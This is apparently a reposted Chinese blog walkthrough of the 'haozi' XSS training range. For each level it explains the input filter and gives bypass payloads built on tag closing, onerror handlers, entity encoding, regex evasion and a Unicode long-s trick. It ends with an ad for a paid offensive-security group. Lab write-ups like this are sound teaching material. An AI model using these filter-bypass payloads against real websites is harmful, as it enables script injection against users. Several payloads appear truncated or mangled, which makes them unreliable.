【haozi】攻防实战全记录

admin 2024年12月25日23:09:12评论24 views字数 3737阅读12分27秒阅读模式

若盛世将倾,深渊在侧,我辈当万死以赴

0x00

首先整体浏览网站

【haozi】攻防实战全记录

分别是xss注入点,注入后的HTML代码以及网页源码

构造常规payload:

<script>alert(1)</script>

成功通关

【haozi】攻防实战全记录

0x01

看到注入点是在<textarea></textarea>标签中, 所以用上一题的方法是不会被解析的, 故需要去构造标签, 闭合<textarea></textarea>, 就可以注入了:

</textarea><script>alert(1)</script><textarea>

成功通关

【haozi】攻防实战全记录

或者, 利用error事件也可以:

这个img,是用来给页面加入图片的,图片的地址就是由src来设置的,然后后面那个onerror是一个事件,就是一旦出错,就会执行里面的JavaScript代码。所以我们就把图片的地址随便写一个,然后程序出错,最后执行JavaScript代码。

</textarea><img src="x" onerror="alert(1)"><textarea>

成功通关

【haozi】攻防实战全记录

0x02

输入常规payload:

<script>alert(1)</script>

我们发现这题的注入点是把值转化为字符串, 然后显示在输入框内, 这样前两题的标签闭合注入也就失效了

【haozi】攻防实战全记录

可以借鉴sql注入的方法, 将前面的双引号闭合, 然后注入新的标签,上一关是闭合整个标签,这次就闭合一半,使用">把前面的标签给闭合了,然后再写自己的标签:

"><img src="x" onerror="alert(1)">

成功通关

【haozi】攻防实战全记录

0x03

审查源码我们发现,括号, 方括号都被过滤了:

【haozi】攻防实战全记录

可以用 `` 来代替进行绕过:

<script>alert1</script>

成功通关

【haozi】攻防实战全记录

0x04

审查源码我们发现,这题把括号、正括号和引号都过滤了:

【haozi】攻防实战全记录

可以考虑用html编码来绕过, 将(1)进行html编码:

【haozi】攻防实战全记录

构造payload:

<img src="" onerror=alert&#x28;&#x31;&#x29;>

成功通关

【haozi】攻防实战全记录

0x05

此题的注入点处于注释符之间, 而注释符的后半部被替换为一个😂, 从而防止了注释被闭合:

【haozi】攻防实战全记录

注释方式有两种:

 <!-- 注释内容 -->
 <!-- 注释内容 --!>

可以用第二种方法:

--!><script>alert(1)</script><!--

成功通关

【haozi】攻防实战全记录

0x06

这题用了正则表达式来过滤:

【haozi】攻防实战全记录

分析regex表达式: 

/auto|on.*=|>/ig

它匹配了: auto 、以on开头且以=结尾的字符串、 >

所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合

但是它并没有匹配换行符, 可以通过换行来绕过匹配:

type="image" src="" onerror
=alert(1)

成功通关

【haozi】攻防实战全记录

0x07

【haozi】攻防实战全记录

这题也是正则表达式,  将匹配到的替换为空:
分析正则表达式: 
 /</?[^>]+>/gi

这里分为三部分来分析:  /</?[^>]+>/gi
</?
   转义符与/结合,  从而转义了/, 进而含义是匹配:  </
   再加上+ (匹配前面的子表达式一次或多次), 所以是匹配: < 或者 </
[^>]+
   首先要明白,  中括号的用法:  [abc] => 匹配abc中的任意一个;  
   然后^符号的两种用法:
    1.  限定开头:  比如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A
    2.  取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。 
 最后是+的含义:匹配前面的子表达式一次或多次。
 所以,总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次
>
 单纯匹配>。
总的表达式就是,匹配:  </ 任意字符 >,  而且 /i 过滤了大小写
匹配了尖括号<>开头结尾的字符串替换为空.可以通过少输入一个>来绕过正则,但仍然可以执行.

<img src="x" onerror="alert(1)"

成功通关

【haozi】攻防实战全记录

0x08

【haozi】攻防实战全记录

正则过滤了: </style>,那么可以通过多加一个空格, 造成正则逃逸

</style ><script>alert(1)</script><style>

成功通关

【haozi】攻防实战全记录

或者也可以利用正则式不能匹配空格来绕过:

</style
><script>alert(1)</script><style>

成功通关

【haozi】攻防实战全记录

0x09

【haozi】攻防实战全记录

这题正则表达式白名单式地匹配了固定网址:

我们可以通过在正确的网址后面继续做文章, 说白了就是输入的xss中必须包含指定网址就可以了;

在com后面多加字符, 再把前面的双引号闭合, 再输入onerror错误事件:

https://www.segmentfault.com1" onerror=alert(1)

成功通关

【haozi】攻防实战全记录

或者

https://www.segmentfault.com"></script><img src="" onerror="alert(1)

成功通关

【haozi】攻防实战全记录

0x0A

【haozi】攻防实战全记录

通过html转义, 把能注入的关键字都过滤了:

可以直接引用指定网站下的目录文件来达到xss注入的目的,

比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可:

https://www.segmentfault.com.haozi.me/j.js

成功通关

【haozi】攻防实战全记录

0x0B

【haozi】攻防实战全记录

程序将所有字母转换为大写:这里需要明白的一点是HTML中对大小写不敏感,JS中对大小写敏感

 对js代码进行编码处理, 而html部分不变

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&

【haozi】攻防实战全记录

成功通关

【haozi】攻防实战全记录

另一种方法是: 

域名对大小写也不敏感 , 所有可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

成功通关

【haozi】攻防实战全记录

0x0C

这题和上一题相比, 只是多了一个对script的过滤, 用上一题的第一种方法即可:

<img src="x" onerror="alert(1)">;ert(1)">
<img src="x" onerror="alert(1)">;&#101;&#114;&#116;&#40;&#49;&#41;">

成功通关

【haozi】攻防实战全记录

第二种方法也可以, 思路和sql注入类似,发现script被替换为空, 那么可以前后进行畸形构造:

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

成功通关

【haozi】攻防实战全记录

0x0D

【haozi】攻防实战全记录

把斜杠, 单、双引号都过滤了:

回车可以破坏注释结构:

【haozi】攻防实战全记录

直接注入alert(1), 再配合js的注释符 --> 注释掉'):


alert(1);
-->

成功通关

【haozi】攻防实战全记录

0x0E

【haozi】攻防实战全记录

正则匹配的意思是,将尖括号后面追加一个下划线, 并且将所有字符大写:

比如:  <a   变为:  <_A

这几乎过滤了所有标签, 包括<script>, 匹配了所有<与字母的组合.即<s无法使用.

找到一个字符的大写是s的: ſ (古英文, 拉丁文):且其ascii值不与s相等,因此可以绕过.

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

成功通关

【haozi】攻防实战全记录

0x0F

【haozi】攻防实战全记录

对一些常用的注入字符进行了html编码处理:

但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用

注入使其闭合, 在注释掉后面的内容即可:

'); alert(1); //

成功通关

【haozi】攻防实战全记录

或者也可闭合后面的单引号:

'); alert('1

成功通关

【haozi】攻防实战全记录

0x10 

没有过滤, 随意给window.date一个值, 再注入:

''; alert(1);

成功通关

【haozi】攻防实战全记录

0x11

【haozi】攻防实战全记录

发现所有一些字符被转义了, 就连换行符等也被转义了:

但是发现竟然还可以用....原因是: 

//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混) 

"); alert(1); //

成功通关

【haozi】攻防实战全记录

或者:

"); alert("1

成功通关

【haozi】攻防实战全记录

0x12

【haozi】攻防实战全记录

这题将双引号转义了, 就不能好好闭合了:但是, 换个思路, 它并没有将转义符转义, 那么我们可以将转义符转义:

"); alert(1); //

成功通关

【haozi】攻防实战全记录

另外一个答案

通过闭合前面的script标签, 内嵌一个script标签即可:

</script><script>alert(1)</script><script>

成功通关

【haozi】攻防实战全记录

儒道易行攻防圈

1、本圈主要分享:攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室,连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次类推.....!
【haozi】攻防实战全记录
【haozi】攻防实战全记录
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

原文始发于微信公众号(儒道易行):【haozi】攻防实战全记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月25日23:09:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【haozi】攻防实战全记录https://cn-sec.com/archives/3554149.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息